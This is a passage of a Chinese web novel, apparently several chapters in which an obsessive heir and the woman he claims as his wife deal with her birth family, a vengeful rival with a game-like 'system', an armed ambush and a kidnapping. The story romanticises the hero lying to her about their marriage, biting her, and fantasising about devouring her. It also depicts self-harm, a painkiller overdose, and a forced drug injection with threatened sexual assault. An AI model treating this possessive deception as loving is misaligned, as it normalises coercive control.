怎么总觉得这些话好像在哪里听过好几遍了。 两人走出福盛隆时,外面的街道已经被清理干净。 昂山多和那位华侨商会会长正一脸铁青地站在一旁,身边围着一群战战兢兢的手下。 商会会长见手下把他小老婆的尸体送过来,嫌恶地摆了摆手,手下将尸体搬走了。 “时先生……”昂山多硬着头皮上前,挤出一个比哭还难看的笑容。 时卿舟的目光从他们脸上淡淡扫过,最后落在那位商会会长身上,笑得温和。 “看来我手下的联勤组就不撤回去了,留在这里协助各位维稳了。” 昂山多和商会会长的脸色瞬间变得铁青。 这哪里是协助维稳,这分明是赤裸裸的军事干预! 但他们不敢反驳,只能硬着头皮应下。 “有劳时先生费心了。” “我们即刻起,终止与十五少爷的一切合作。”昂山多连忙表忠心。 不远处,那位军政府的将军则搂着苏晓的肩膀,笑呵呵地走过来:“时先生,以后合作愉快。” “时先生,以后合作愉快。” 时卿舟的目光淡淡地瞥了苏晓一眼。 苏晓立刻心领神会,她玉手掩唇,巧笑嫣然:“哎呀,外长阁下,说起来,您那位敏敏夫人一直有意无意地针对我们时夫人呢。” 昂山多本就一肚子火没处发,听到这话,脸色更是阴沉得能滴出墨来,明显地横了敏敏一眼。 时卿舟没再理会这些人,揽着孟昭月直接离开了。 车上。 车子刚行驶不久,时卿舟的手机就响了起来。 他接起电话,那边的人似乎说了些什么。 孟昭月隐约听到了自己的名字,好奇心瞬间被勾了起来。 她悄咪咪地,一点一点地,像只小猫一样,朝着时卿舟的方向凑了过去,竖起耳朵努力地听着。 她离得越来越近,几乎快要贴到时卿舟的身上了。 她的小动作自然没能逃过时卿舟的眼睛。 男人唇角勾起一个不易察觉的弧度,在她即将贴上来的瞬间,突然伸出长臂,一把将她逮捕进了怀里。 “呀!”孟昭月惊呼一声,整个人都跌进了他的怀抱。 时卿舟好整以暇地按下了免提键。 顾清珩清冷的声音立刻从听筒里传了出来。 “……昭月的身份证明和护照正在加急办理,大概两周能下来。” “另外,我联系了她的养父母,他们已经同意让孟家把人接回去,作为交换,孟家需要帮忙寻找失踪的孟昭月。” “现在人找到了,倒是给孟家捡了个大便宜。” 顾清珩说了几句,发现电话那头一片安静,皱眉问了一句: “怎么没声了?你在听吗?” 孟昭月乖巧地回答:“听了,但是听不懂。” 什么养父,什么孟家,什么接回去? 怎么听起来感觉她自己的身世好复杂? 电话那头,瞬间陷入了死寂。 过了好一会儿,孟昭月听到听筒里传来一声清脆的、像是玻璃杯被捏碎的声响。 紧接着,是顾清珩咬牙切齿的声音。 “时卿舟呢?” 孟昭月乖巧地回答:“他坐在我旁边。” 顾清珩深吸了一口气,似乎在极力压制着怒火,耐着性子,用尽可能温和的语气对孟昭月解释。 “昭月,你听我说,你的真实身份是孟家的千金,对,就C国那个有名的孟家,你刚出生不久被人抱错了,被你的养父母抚养长大。” “更!重!要!的!是!你和时卿舟根本不认识,更不是什么夫妻,他说的每一个字你都不要信……” 他的话还没说完,时卿舟就直接挂断了电话。 孟昭月抬起头,看向他。 时卿舟无辜地眨了眨眼,那双漂亮的桃花眼里看不出任何心虚。 他没有解释的意思,只是低下头,吻了吻她的额头,宣告主权。 “月月属于我,且只能属于我。” 孟昭月看着他,忽然歪了歪头,软软地问。 “那你呢?” 时卿舟闻言愣了一下,随即轻笑出声,那双桃花眼里盛满了温柔和某种可以称之为餍足的情绪。 “我也只属于你。” “时卿舟只属于孟昭月。” …… 两周后,回国的私人飞机上。 护士正在小心翼翼地拆开时卿舟左臂上的纱布。 江医生拿着一块平板赶了过来,凑到时卿舟耳边,用极低的声音说了句什么。 时卿舟沉默了一瞬,随即几不可察地点了点头。 孟昭月坐在一旁,只隐约听到了“五小时”、“发作”之类的词,具体的却一个字都没听清。 说完后,江医生检查了一下卿舟手臂上的伤口。 那道伤口已经结痂,周围的皮肤也恢复了平整。 “恢复得不错。”江医生得出结论,开始重新为他上药包扎。 孟昭月悄悄松了口气,但她的目光,却不由自主地落在了他手臂上那些交错纵横的旧疤痕上。 她有些好奇这些疤痕的来历,但是又不敢乱问,怕勾起时卿舟不好的回忆。 时卿舟似乎注意到了女孩的纠结,身后轻轻揉了揉她的头发,像是在安抚一只困惑的小猫。 “这些事我自己弄的,没有人欺负我,别担心。” 孟昭月不解:“为什么?” 时卿舟回答:“为了能一直看着你。” 孟昭月看着他,心里的疑惑更深了。 飞机平稳降落在京江市。 舱门打开,时卿舟替孟昭月理了理头发。 “月月乖,先去车上等我,”他的语气温柔至极,“我还有点事要和江医生交代。” 孟昭月乖巧地点了点头,跟着一名早已等候在舷梯下的黑衣保镖离开了。 看着女孩的身影走远,时卿舟脸上的温柔笑意才缓缓敛去。 他从西装外套的内袋里,取出了那个没有任何标识的白色小药瓶,倒出一粒药片,面无表情地吞了下去。 另一边,孟昭月乖巧地跟着保镖身后。 脑子里却全是江医生之前说的那几个词。 五小时……发作…… 从登机到现在,差不多快五个小时了。 到底是什么东西要发作? 她越想越觉得不对劲。 孟昭月突然停下了脚步。 走在她前面的保镖愣了一下,疑惑地回头:“少夫人,怎么了?” 下一秒,他就看到女孩捂住嘴,那双漂亮的杏眼里写满了惊恐,死死地盯着他的身后。 “后……后面!” 保镖的神经瞬间紧绷,几乎是条件反射地拔出腰间的枪,猛地转身! 然而,他的身后空空如也,停机坪上一览无余,根本没有任何可疑的人影。 他警惕地扫视了一圈周围所有可能藏人的角落,依旧一无所获。 不对劲。 他疑惑地转回身。 “少夫人怎么了……少夫人?!” 他的话说到一半,卡住了。 第75章 我们只需要彼此就够了 “阿卿,你刚刚怎么了?”孟昭月担忧道。 “没事,老毛病了。”时卿舟的声音恢复了惯有的温和,他很自然地引开了话题:“饿不饿?我们先出去吃点东西。” 孟昭月乖巧地点了点头,没有再追问。 两人一起走出机场。 外面,阴云滚滚。好像要下雪了。 不远处,站着一个身形高大的男人。 他手里拿着一张照片。 看到孟昭月出现,他低头对比了一下,随即迈开长腿走了过来。 男人走到两人面前,狭长的凤眼淡淡地扫过时卿舟,最终目光落在孟昭月身上。 “跟我回去。”男人的语气平淡,却带着上位者的口吻。 孟昭月疑惑地看向眼前的陌生男人:“你是谁呀?” 男人微微挑眉:“我是你小叔,孟廷凛。” 小叔?孟家? 孟昭月反应过来,这就是顾清珩电话里提到的,据说要把她接回去的那个孟家。 时卿舟将孟昭月往自己怀里带了带,隔开了孟廷凛审视的目光。 他低下头,温柔地问:“想去吗?” 孟廷凛看着两人亲昵的姿态,眉头微不可察地蹙了一下。 “孟昭月,家里已经帮你收拾好了房间。” 他的语气依旧没什么温度。 “你的亲生父母,还有姐姐,都在等你。” 亲生父母……姐姐…… 这几个词,让孟昭月的心里,涌上一丝小小的、连她自己都未曾察觉的期待。 她抬起头,看向时卿舟。 时卿舟对她温柔地笑了笑:“做你想做的,其他的交给我。” 孟昭月犹豫了一下,最终还是点了点头。 见她同意,孟廷凛下意识地就想上前拉她的手腕。 时卿舟却先一步侧过身,用自己的身体隔开了他。 “月月坐我的车。”时卿舟的声音依旧温和,却带着和孟廷凛直接针锋相对的强势。 他为孟昭月打开车门,在她坐进去时,又体贴地用手护住车门顶框,防止她碰到头。 在上车前,他回头,对着孟廷凛露出了一个礼貌的微笑。 “对了,孟总。” “我这辆车,后排只有两个座位。” 言下之意,你别跟上来。 孟廷凛看着那辆法拉利绝尘而去,狭长的凤眼危险地眯了起来。 车内,时卿舟伸手,轻轻摸了摸孟昭月的头发,声音温柔。 “月月,你要记住。” “就算全世界都不喜欢你,我也会一直喜欢你。” 孟昭月点了点头,心里却有些不明白,他为什么会突然这么说。 时卿舟收回手,目光落在后排座位中间的中央扶手上,眼中闪过一丝不易察觉的郁闷。 真碍事。 他有些怀念上辈子那辆改装过的迈巴赫。 那辆车只载孟昭月一人。 后排被改成了贯通式的沙发座椅,没有这碍事的扶手,做什么都方便。 尤其是……做某些事的时候。 …… 车队驶入一片掩映在半山腰的庄园,古典雅致的建筑群在夕阳下显得静谧华美。 “哇……”孟昭月忍不住发出一声小小的惊叹,“好厉害。” 时卿舟看着她可爱模样,眼底的笑意愈发温柔。 跟在后面的孟廷凛,唇角在自己都未曾察觉的情况下,也微微勾起了一个极浅的弧度。 客厅里。 孟崇山和江慧正坐在沙发上,与孟婉凝说着话,气氛温馨和睦。 当看到揽着孟昭月走进来的时卿舟时,孟婉凝脸上的笑容瞬间消失,取而代之的是一种源自灵魂深处的恐惧。 她不认识他,但身体的本能却叫嚣着让她快逃。 孟婉凝猛地从沙发上站了起来,脸色惨白如纸。 “我……我突然有点不舒服,先上楼休息了。”她语无伦次地说着,几乎是落荒而逃。 “婉凝?怎么了?”江慧连忙起身,脸上满是担忧,“哪里不舒服?要不要叫医生?” 孟崇山也皱起了眉,关切地看着孟婉凝离去的背影。 时卿舟没在意这个自己杀过四十多次的女人,只是低头在孟昭月耳边介绍。 “沙发上那两位,是你的亲生父母,孟崇山和江慧,刚刚那个是抱错的孟婉凝。” 孟崇山夫妇这才将注意力转向他们。 “时先生怎么会来?”孟崇山开口,语气客气但疏离。 “伯父,我是陪月月来的。”时卿舟语气温和,“我们是伴侣。” 伴侣。 江慧端着茶杯的手,几不可察地顿了一下。 她优雅地将骨瓷茶杯放回桌面,发出一声轻微的脆响。 “昭月,”她的声音柔和“你既然回了孟家,就是孟家的女儿,有些事,我和你父亲,有必要提点你。” 她没有看时卿舟,似乎并不在意他的存在。 “你在外多年,性情上或许还需要些时日慢慢沉淀。这不怪你,环境使然。” 江慧的语气温婉,像是在陈述一个客观事实,听不出任何责备。 “婉凝自小在我们身边长大,耳濡目染,一言一行都算得上是知书达理。你们姐妹以后要多亲近,你也需要多向她学习,这对你有好处。” 孟昭月安静地听着。 江慧顿了顿,目光终于不轻不重地落在了时卿舟的身上。 “至于交友……我们孟家交友,向来看重人品与家风的传承。” “时先生年轻有为。只是……有些根基上的东西,不是靠个人能力就能弥补的。” 这话点到即止,说的就是时卿舟“私生子”的身份。 孟昭月能听出来,这对所谓的亲生父母,是在用一种体面的方式,嫌弃她,也嫌弃她身边的人。 这让她不开心,尤其涉及了阿卿。 她乖巧地点了点头:“谢谢母亲教导。” 江慧满意地抿了一口茶,正准备继续她的“教导”。 孟昭月却突然开口:“抱歉,我还有事,先走了。” 说完,她直接站起身,直接朝着门口走去。 他们不喜欢她,她也不喜欢他们,她又不是未成年需要抚养,那也就没必要继续和他们浪费时间了。 孟崇山和江慧都愣住了。 她不应该乖乖听他们教导吗? 就这么走了?这算什么事? 时卿舟毫不犹豫地起身,跟了上去,自然而然的牵起了她的手。 孟昭月看到他跟上来,突然就理解了他在车上说的那句话。 她不被喜欢,不被接纳。 这个世界上,只有他,会永远坚定地选择她,站在她身边。 “孟昭月!站住!你的教养呢?!”江慧终于反应过来,有些失态地叫住她。 可女孩的脚步没有丝毫停顿,彻底离开了。 孟廷凛也没想到她会这么干脆地就走,脸色一沉,立刻追了出去。 庄园外的车道上飘起了小雪。 孟廷凛拦住了她的去路。 “小叔还有什么事吗?”孟昭月乖巧地看着他。 孟廷凛下意识的想要说,让孟昭月要成熟有教养,别像个小孩子一样耍脾气,这种直接离开的行为不礼貌。 这些话在他脑海里第一时间闪过。 可他看着她那双干净而疏离的眼睛,那些话,突然一个字都说不出口了。 一种强烈的、似曾相识的预感攫住了他。 如果今天他说了那些话,他一定会后悔,会永远失去某种重要的东西。 就好像……他真的经历过一样。 “抱歉。” 他顿了顿,最终只说出了一句连他自己都觉得意外的话。 “是小叔没和你父母提前协调好,让你受委屈了。” 孟昭月愣住了,她没想到会等来一句道歉。 不知道为什么,她总觉得这位小叔像是会经常进行说教的人。 孟廷凛放柔了语气,只是因为不习惯而这么说话而有些僵硬:“你打算去哪?我不建议你……” 他看了一眼旁边的时卿舟,“跟着他。” “时家的水很深,他们的行事作风……与我们不同。”孟廷凛斟酌着用词,“你跟着他,不会有好结果。” 孟昭月闻言看向身边的时卿舟。 时卿舟揉了揉她的脑袋:“我再说一遍,月月,做你想做的事,其他的一切,都交给我。” 孟昭月想了想,最终还是决定。 “我想……回我养父母家看看。” 这个决定让两个男人都有些意外。 时卿舟很快便恢复了那副温和的笑容:“好,我送你。” 孟廷凛皱起了眉:“我派车送你。” “不用麻烦小叔了。”孟昭月摇了摇头,声音软软的,“阿卿送我就好。” 她说完,便拉着时卿舟离开了。 孟廷凛站在原地,看着两人离去的背影,雪打湿了他的肩头,他却恍若未觉。 …… 车子驶入了一个老旧的居民小区。 这里的楼房都有些年头了,墙皮斑驳,与孟家庄园的奢华形成了鲜明的对比。 车停在一栋单元楼下,熄了火。 “到了。”他轻声说。 孟昭月没有动,她只是抬起头,看向三楼那个亮着温暖灯光的窗户。 透过窗帘的缝隙,她能看到里面模糊的人影。 养母正端着一盘水果从厨房走出来,脸上带着温柔的笑意。 养父坐在沙发上,怀里抱着一个看起来只有七八岁的小男孩,正拿着一本故事书,耐心地给他讲着故事。 小男孩咯咯地笑着,伸出小手去抓养父的胡子。 一家三口,其乐融融。 孟昭月就那么静静地看着。 这里好像这里也不需要她。 窗里的温暖灯光,与她的存在与否无关。 她是一个不折不扣的外人。 孟家不喜欢她。 第76章 就直接黏着你家孟昭月就行了 电话那头,陷入了一阵沉默。 时莉莉张着眼睛,盯着孟昭月。 不对。 这个装模作样的女人,在听到自己只是个替身之后,不应该是一脸震惊、不敢置信,然后陷入痛苦的自我怀疑和内耗吗? 她怎么会……给时卿舟打电话? 她怎么敢?! 短暂的沉默后,听筒里传来了时卿舟的声音。 依旧是那副温和的调子,却带着一丝不易察觉的冷意。 “月月,你和时莉莉在一起?” “是呀。”孟昭月乖巧地应了一声,还特地把手机往时莉莉的方向递了递,确保她能听得更清楚。 电话那头又沉默了几秒,随即,时卿舟轻笑了一声。 “第一,时莉莉脑子有问题,她说的话,你别理。” “第二,没有什么白月光,我的太阳和月亮,从始至终,都只有一个……” 他的声音顿了顿,变得愈发温柔缱绻。 他的话还没说完,孟昭月就感觉到一只温热的手,轻轻地搭在了她的肩膀上。 她惊讶地抬起头,正好对上一双含笑的桃花眼。 时卿舟不知何时,已经悄无声息地出现在了她的身后。 “那就是你,月月。”他继续道。 时卿舟对着孟昭月,温柔地笑了笑,然后很自然地拿过她手中的手机,挂断了电话。 “你怎么过来了?”孟昭月有些惊讶,他来得也太快了。 “收到你的定位,不放心,就立刻赶过来了。”时卿舟揉了揉她的头发,语气宠溺。 他说着,目光淡淡地扫向对面那个早已脸色铁青的女孩。 孟昭月顺着他的视线看过去,脸上重新挂上了那副甜美乖巧的笑容。 “那么,时莉莉小姐。” “你还有什么想说的吗?” “啊——!!!” 时莉莉突然尖叫起来。 刺耳尖叫声,猛地在安静的咖啡厅里炸开! 时卿舟的眉头几不可察地蹙了一下,他神情未变,只是迅速伸出手捂住了孟昭月的耳朵。 “时卿舟!你是我养的狗!” 时莉莉猛地从座位上站起来,指着他,状若疯癫的嘶吼。 “是我赏你饭吃,是我让你活下来!你的一切都是我的!你凭什么背叛我?!” “孟昭月!你这个**!给我滚!从我的狗身边滚开!” 孟昭月被捂着耳朵,听不清她具体在吼些什么,但看着她那副扭曲的表情,也能猜到不是什么好话。 她抬起头,看向时卿舟,用口型无声地问。 “阿卿,你是谁的?” 时卿舟低下头,看着她那双干净的杏眼,唇角勾起一个温柔的弧度。 他也用口型,无声地回答。 “我是孟昭月的。” 孟昭月满意地笑了。 她转过头,看向那个还在疯狂咆哮的时莉莉:“看来,该滚的人是你哦,时莉莉。” 这句话,像一根引线,彻底点燃了时莉莉那本就濒临**的情绪。 “你——给——我——去——死——!” 她吼着,猛地掀起了面前的桌子! “哗啦——!” 桌子被整个掀翻! 玻璃与瓷器在撞击中发出刺耳的破碎声,咖啡和碎屑四处飞溅! 孟昭月被这突如其来的变故吓了一跳。 时卿舟猛地将她拉进怀里,为她挡住了所有飞溅而来的狼藉。 温热的咖啡液浸透了他昂贵的西装外套。 “时卿舟你给我跪下!” 时莉莉站在一片狼藉之中,不停地粗喘着气,那双大眼睛里燃烧着疯狂的火焰。 “时卿舟!我命令你!现在!立刻!给我跪下!” 时卿舟抱着孟昭月,没有理会她,他的脸上却依旧是那副温和有礼的表情。 “时莉莉。” 他开口,声音平淡得听不出任何情绪。 “想发疯,去找时燃他们,别在我面前。” 说完,他便揽着孟昭月,转身,头也不回地朝着门口走去。 “小狗!” 时莉莉在他身后发出了凄厉的尖叫。 “你要是敢走出这扇门!我就死给你看!” 孟昭月下意识的抬头,看到时卿舟那双漂亮的桃花眼,瞳孔正在不受控制地扩散。 好像他现在的情况不太对。 可时卿舟的脚步没有丝毫停顿。 他甚至没有回头。 …… 回到车上,门刚一关上,隔绝了外界的一切。 时卿舟那副温和有礼的伪装,瞬间卸下。 他的身体开始颤抖。 孟昭月看到,他从西装外套的内袋里,颤抖着摸出了那个白色的小药瓶。 他甚至来不及控制数量,倒了好几颗白色的药片在手心,然后直接干咽了下去。 做完这一切,他猛地靠在靠背上,捂住嘴,发出压抑的、痛苦的闷哼。 孟昭月看到,他额角的青筋暴起,全身的肌肉都在不受控制地痉挛、抽搐。 细密的冷汗很快就浸湿了他额前的黑发,让他整个人看起来像是刚从水里捞出来一样。 和飞机上那次一样,甚至……比那次更严重。 孟昭月没有说话。 她迅速解开自己的安全带,然后挪到他身边,紧紧地,抱住了他。 温软的身体贴上来的瞬间,时卿舟剧烈颤抖的身体猛地一僵。 药物带来的剧痛像无数烧红的钢针,正疯狂地穿刺着他的每一寸神经末梢。 骨骼在哀鸣,血液在尖啸,灵魂仿佛被活生生撕成两半。 可是她的香味、她的温暖。 那股如同被万千蚂蚁啃噬骨髓的剧痛,仿佛在这一刻都变成了极致的、令人沉溺的欢愉。 月月…… 是我的月月…… 时卿舟猛地收紧手臂,反客为主,将孟昭月死死地、用力地箍进怀里。 他将脸深深埋入她温热的颈窝,贪婪地呼吸着她身上独有的气息。 “月月……月月……” 他一遍又一遍地,沙哑地呢喃着她的名字,声音破碎不堪,带着浓重的、病态的依赖与渴求。 不够…… 还不够…… 他开始不受控制地不轻不重地啃咬着她的脖颈。 试图将她的味道、她的温度,更深地烙印进自己的骨血里。 孟昭月感觉到他的牙齿陷进皮肉,疼得闷哼了一声,但她没有推开他,只是更用力地回抱着他,手一下一下地,安抚着他颤抖的脊背。 “月月……” 你是我的药…… 想要吃了你…… 不知过了多久孟昭月怀里的人颤抖才停了下来。 “月月……”是时卿舟沙哑的声音。 “嗯,我在。”孟昭月几乎立刻回应。 “抱紧我。” “好。”她毫不犹豫地收紧了手臂。 “亲亲我。” 孟昭月:“……?” 她羞恼的推了推时卿舟:“好了你就给我松开!” 时卿舟恋恋不舍地松开了孟昭月,抬头看着她。 “阿卿你好点了吗?”孟昭月看着他的模样,有些心疼地问道。 时卿舟闻言那双漂亮的桃花眼里,重新漾开了温柔的笑意,只是眼底还残留着几分病态的潮红。 “嗯,好多了。” …… 另一边,“迷迭香”咖啡馆内。 时卿舟和孟昭月离开后,时莉莉还维持着那个咆哮的姿势。 她的胸口剧烈地起伏着,那双画着精致眼线的大眼睛里燃烧着不甘与疯狂。 “系统,现在时卿舟对我的好感度是多少?”她在脑海里尖声质问。 【攻略目标时卿舟,当前好感度:60(依恋)。】 不再是之前奶声奶气的声音,而是某种平缓的电子音。 “还是60?”时莉莉的眉头紧紧蹙起,这个数字已经很久没有变过了。 “那他对孟昭月那个**呢?” 系统沉默了一下。 【0(不认识)。】 【还有一个数据……】 系统的声音突然卡住了,发出了一阵滋啦作响的电流声。 “是什么?100吗?”时莉莉不耐烦地追问。 【乱码。】 【宿主,这不是时卿舟,只是一个需要被清除的异常数据。】 “清除?”时莉莉冷笑一声,“怎么清除?” 【宿主,你的任务就是维持住时卿舟人格的活性,只要让那个异常数据彻底长期陷入虚空中沉睡,我就可以启动数据删除程序。】 “好啊。” 时莉莉眼底满是疯狂的恶意。 “我会把我的小狗要逼出来!” “我的小狗,应该是只属于我一个人的狗!” “凭什么对着孟昭月那个**摇尾乞怜?!” 就在这时,咖啡馆门口传来一阵骚动。 那个之前一直躲在远处的经理,正推搡着一个年轻的女服务员。 “快去!让她赔钱!店里被砸成这样,这个月的营业额全完了!” 女服务员被他推得一个踉跄,被迫走到了时莉莉面前。 她本来就是勤工俭学的,这个学期的学费全靠在咖啡馆打工。 现在虽然害怕这个刚刚发疯的女人,但是又不敢违抗经理。 她吓得脸色惨白,声 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电话接通的瞬间,她脸上疯狂恶意尽数褪去,取而代之的是甜得发腻的撒娇声。 “Hero~” “我的小公主,怎么了?”电话那头传来时费宠溺的声音。 “我在凯旋街这边的‘迷迭香’咖啡馆,不小心弄坏了点东西。” 时莉莉的声音软软糯糯,“Hero帮我把咖啡馆买下来好不好嘛~” “好好好,我的小公主想要什么,Hero都给你买。” “还有哦。”时莉莉用沾着血的手指卷着自己的发梢,语气天真。 “我不小心弄伤了一个丑女,Hero帮我处理一下哦。” “小事,我的小公主想做什么都可以。” …… 另一边,江医生的私人治疗室内。 江医生看着平板上那一排排生理指标数据,推了推鼻梁上的金丝眼镜。 “没什么大问题,指标依旧稳定。” 他看向沙发上那个脸色依旧苍白的男人,随口问了一句。 “看你这个样子,应该不止吃了一颗吧,这次吃了几颗?” 时卿舟靠在沙发上,闭着眼,闻言淡淡地回答:“五颗。” “五颗?!”江医生震惊了,手里的记录板都差点没拿稳。 “你疯了吗?!五倍剂量,你怎么没疼死在车上?!” 时卿舟缓缓睁开眼,那双漂亮的桃花眼里,还残留着几分某种慵懒和满足。 “那家伙被时莉莉嚷嚷着**的话刺激到了,差点没压住,所以就多吃了几颗。” “不过……” “有月月陪着我。” “还好。” 江医生扯了扯嘴角。 “难怪数据显示你的多巴胺水平高得像**了。” “行了行了,以后你再发作,就直接黏着你家孟昭月就行了。” “我也不用正忙着就被你薅过来给你做检查了。” 时卿舟闻言,脸上的笑意更深了,他认真地点了点头。 “好,我会遵守医嘱的。” 江医生被他气笑了。 “我那是在嘲讽你!不是在开医嘱!” 就在这时,治疗室的门被推开。 孟昭月提着一个便利店的袋子走了进来。 “阿卿要的饮料我买回来了。” 她把一瓶冰镇的苏打水放到时卿舟面前的茶几上。 “你还好吗?” 她看着他依旧苍白的脸色,那双干净的杏眼里写满了担忧。 时卿舟立刻切换成了那副可怜兮兮的模样,伸出手,拉住她的衣角,轻轻晃了晃。 “不太好。” 他的声音很轻,带着一丝不易察觉的委屈。 “江医生刚刚嘱咐我,以后要月月多陪陪我才行。” 孟昭月闻言,疑惑地看向江医生。 江医生看着时卿舟那副装模作样的德行,在心里翻了个巨大的白眼,脸上却挂着职业化的微笑,点了点头。 “是的,孟小姐。”他一本正经地胡说八道,“时先生的病情比较特殊,您的陪伴,是最好的良药。” 孟昭月听完,走到时卿舟身边,心疼地摸了摸他的头。 “阿卿乖,以后我会一直陪着你的。” 时卿舟顺势将头靠在她的肩上,像只找到了主人的大型犬,满足地蹭了蹭。 江医生看着眼前这腻歪的一幕,扯了扯嘴。 他报复性地拿起孟昭月给时卿舟买的饮料,打开就喝。 嗯,真甜。 第77章 我们去领证吧 孟昭月的目光无意间扫过江医生的工作牌,看到了上面的名字——江浩奚。 江浩吗…… 如果没记错,江家嫡系的命名规则似乎都是江浩什么来着。 这个江医生,和江家嫡系是什么关系? 孟昭月心里想了想,可是转念又觉得和自己没什么关系,就没再多想了。 时卿舟拉着她的手,看到她脖颈上那个已经涂了愈合凝胶的咬痕,桃花眼里满是快要溢出来的心疼和内疚。 “还疼不疼?”他的声音沙哑,带着浓浓的自责。 他当时真的快疯了,完全失去了控制,才会下意识地咬她。 可是…… 真美。 雪白的皮肤上,印着独属于他的痕迹,像一朵绽开的、绮丽的血色蔷薇。 这是他的烙印。 是她属于他的、最直观的证明。 如果可以,他甚至想咬得再深一些,尝尝她血液的味道,将她的血肉吞入腹中,让她永远地、彻底地与自己融为一体。 那样,她就再也无法离开他了。 想着,时卿舟眼中的神色深了些 “阿卿帮我包扎过了,没事的。”她小声说,想让他别这么紧张。 他低下头,薄唇轻轻地、虔诚地,印在了伤口旁的皮肤上。 “对不起,月月。” 江浩奚实在看不下去了,轻咳一声:“病人需要静养。” 时卿舟笑着对孟昭月道:“那我们回去吧。” 孟昭月点了点头。 …… 夜色渐浓。 法拉第车队平稳地行驶在高速上。 车内很安静,孟昭月靠在时卿舟的肩上,看着窗外的流光溢彩,有些昏昏欲睡。 时卿舟的手臂环着她,指尖有一下没一下地轻点着她的手臂,像是在安抚,又像是在确认她的存在。 当车队驶离主干道,拐入一条通往半山别墅区的僻静辅路时,意外发生了。 刺耳的轮胎摩擦声突然划破夜空! 几乎是在同一时间,数十道刺眼的远光灯从四面八方亮起,将法拉利牢牢锁定在光圈中央。 十几辆通体漆黑的防弹越野车包围过来,车顶上甚至架起了机枪。 “砰砰砰砰——!” 紧接着,密集的枪声瞬间撕裂了宁静! 时卿舟的手下也反应迅速,立刻开展还击。 双方展开了激烈的交火。 时卿舟看到车上的标志一眼就认出来了。 是时费的人,时家家主的私卫。 他的脸色瞬间沉了下来,他第一时间将孟昭月死死地按进怀里。 紧接着,她听到“砰”的一声巨响! 是他们这辆车的后窗玻璃,被击碎了! “乖乖,别怕。” 他一边抽出P30L还击,一边安抚她。 时卿舟的呼吸依旧平稳,他的每一次射击都冷静而精准,像一台没有感情的杀戮机器。 孟昭月躲在他的身下,耳边是震耳欲聋的枪声。 可她没有尖叫,也没有哭泣。 她只是死死地攥着时卿舟的衣角。 不知过了多久,时卿舟的动作停了下来。 他打完了最后一颗子弹。 几乎是在同一时间,一枚闪烁着红光的圆柱形物体,被从车外投了进来。 时卿舟的瞳孔骤然缩紧。 他来不及多想,用尽全身的力气,将孟昭月更紧更深地、按进自己的怀里。 “嗡——!” 一阵刺耳的高频噪音瞬间炸开,伴随着足以致盲的强烈白光! 孟昭月只觉得大脑一片空白,耳膜像是要被撕裂,眼前白茫茫一片,什么都看不见。 在彻底失去意识前,她只感觉到,抱着她的那双手臂,收得更紧了。 …… 不知过了多久。 孟昭月在一阵剧烈的头痛中,缓缓地睁开了眼睛。 空气里弥漫着铁锈和灰尘的味道。 这里似乎是一个废弃的工厂。 不远处是时卿舟,他被反绑在一把铁椅子上。 他死死盯着他对面的那个女孩。 是时莉莉。 她正翘着腿,坐在另一把椅子上。 就在这时,她注意到了不远处已经醒来的孟昭月。 “哟,正主醒了。” 她走到孟昭月面前,接过手下递来的一支注射器,在孟昭月面前晃了晃。 “知道这是什么吗?” 她脸上的笑容变得病态而疯狂。 “这是专门为你这种不听话的小贱人准备的好东西。” “只要一针下去,你就会变成最下贱的婊子,只要是男人……” 时卿舟的声音打断了时莉莉的话。 “别碰她。” 时卿舟勾起惯常的温和笑意,却透着一股让人脊背发凉的寒意。 “不然,我会弄死你。” “哟,心疼了?”时莉莉笑得更开心了,“我的小狗,你好像还没搞清楚状况。” 她拿着注射器,转身重新走回时卿舟面前。 “不过呢,这个好东西,我突然觉得,用在你身上,会更有趣。” 她猛地将针头扎进了时卿舟的颈动脉! “阿卿!”孟昭月惊呼出声。 透明的液体被尽数推进时卿舟的体内。 时莉莉拔出针管,随手丢在地上,她挑起他的下巴,强迫他抬起头。 “这药不发泄出来,可是会活活憋到血管爆裂而死的哦。” “等一下,你就会跪下来,像狗一样,求我给你解脱。” 时卿舟呼吸开始变得粗重。 药效发作得很快。 与此同时,他身后的双手,在无人看见的角度,一点一点地,试图挣脱手腕上的扎带。 时莉莉得意地看着孟昭月,对着守在一旁的两个壮汉使了个眼色。 “去,好好‘招待’一下我们这位孟小姐。” 两个壮汉立刻会意,脸上带着淫邪的笑容,朝着孟昭月走了过来。 孟昭月警惕地一点一点地向后挪去,她下意识地看向时卿舟。 他的脸颊已经泛起不正常的潮红,呼吸急促,汗水顺着他线条分明的下颌滑落。 他手腕上的扎带,已经被绷紧到了极限。 皮肉翻卷,血珠顺着手腕渗出,一滴一滴,落在冰冷的地面上。 他好像,完全感觉不到疼一样。 孟昭月只觉得心脏像是被攥紧了一般。 心好疼,像是要碎掉一样…… 她的时卿舟。 但她知道,现在不是慌乱的时候。 她强迫自己冷静下来,勾起一个乖巧的笑容。 “时莉莉小姐。” 她的声音软软糯糯,听起来天真无害。 “你不是……想看我挣扎、绝望的样子吗?” “这样绑着,我还怎么挣扎呀?” “一点乐趣都没有了,多无聊。” 时莉莉看着她那副样子,像是突然发现了什么更有趣的玩法,脸上的笑意愈发恶劣。 “说得有道理。” 她对着那两个壮汉摆了摆手。 “给她松绑。” 孟昭月手上的束缚被解开了。 孟昭月:“……” 还好是个笨的。 时莉莉凑近了时卿舟:“马上就有好戏看了,小狗。” 就在这时,时卿舟动了。 “咔”的一声! 那根早已被鲜血浸透的尼龙扎带,应声而断! 在时莉莉还没反应过来的时候,时卿舟猛地起身,掐住她,挟持了她! 所有人都愣住了! 就是现在! 孟昭月用力推开身前那个还没回过神的壮汉,朝着时卿舟的方向冲了过去! 回过神的时莉莉手下们连忙抽出枪。 “都他妈别动!”时莉莉用尽力气尖叫出声。 她被掐得几乎窒息,脸涨成了猪肝色。 那些原本蠢蠢欲动的壮汉们,瞬间投鼠忌器,僵在了原地。 混乱中,孟昭月已经跑到了时卿舟的身边。 “走。”时卿舟的压着药效,低声道。 两人退到一辆越野车旁。 时卿舟手上更加用力:“钥匙。” 时莉莉的手下连忙把车钥匙丢了过来。 时卿舟正思考怎么去捡钥匙,钥匙却被孟昭月捡了起来:“我来开。” 时卿舟愣了一下,随即眼中闪过一丝了然的轻笑。 他将时莉莉狠狠地推向那群持枪的手下,然后在对方开枪的瞬间,迅速上车关门。 “坐稳了。” 孟昭月猛地一脚油门踩到底! 越野车发出一声咆哮,如离弦之箭般,撞开仓库的大门,在一片枪声中,冲进了漫天的风雪之中! 第78章 好,我们去领证 “诶?” 孟昭月愣住了。 